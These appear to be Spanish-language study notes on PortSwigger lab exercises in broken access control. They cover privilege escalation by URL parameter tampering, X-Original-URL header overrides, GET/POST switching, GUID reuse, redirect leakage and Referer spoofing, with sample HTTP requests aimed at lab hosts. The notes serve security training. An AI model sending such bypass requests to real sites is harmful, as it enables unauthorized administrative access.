PortSwigger
Access Control
Web
Privilege Escalation
Access Control
Técnicas para bypassear controles de acceso: parameter tampering, headers alternativos, method switching y más.
Parameter-based access control methods
Algunos sitios determinan los derechos de acceso con parámetros en la URL o cookies.
HTTP Request
https://insecure-website.com/login/home.jsp?admin=true
https://insecure-website.com/login/home.jsp?role=1
Broken access control via platform misconfiguration
Headers como X-Original-URL o X-Rewrite-URL pueden sobreescribir la ruta evaluada por el servidor.
Request
GET / HTTP/2
Host: 0a6c0027035d60d083b7b1aa004d0048.web-security-academy.net
Cookie: session=5JYfrQ0obu6byVdzZ7SgPcOlKAbUWxyG
X-Original-Url: /admin
X-Rewrite-URL: /admin
Method-based access control bypass
Probar hacer la consulta de administrador o del rol que no tengamos de GET→POST o POST→GET.
User ID controlled by request parameter with unpredictable IDs
Verificar si el GUID existe en algún lugar de la página (posts, comentarios, perfiles públicos) para poder reutilizarlo.
User ID controlled by request parameter with data leakage in redirect
Verificar si antes de la redirección el servidor muestra información sensible en el body de la respuesta 302.
Referer-based access control
El servidor valida el header Referer para autorizar acciones admin. Se puede falsificar directamente.
Request
GET /admin HTTP/2
Host: 0a9b008503786a2d825d0b1100c90031.web-security-academy.net
Cookie: session=Cz9gehr20H38XmfcioW3sKiT9skRk8Rq
Referer: https://0a9b008503786a2d825d0b1100c90031.web-security-academy.net/admin-roles?username=wiener&action=upgrade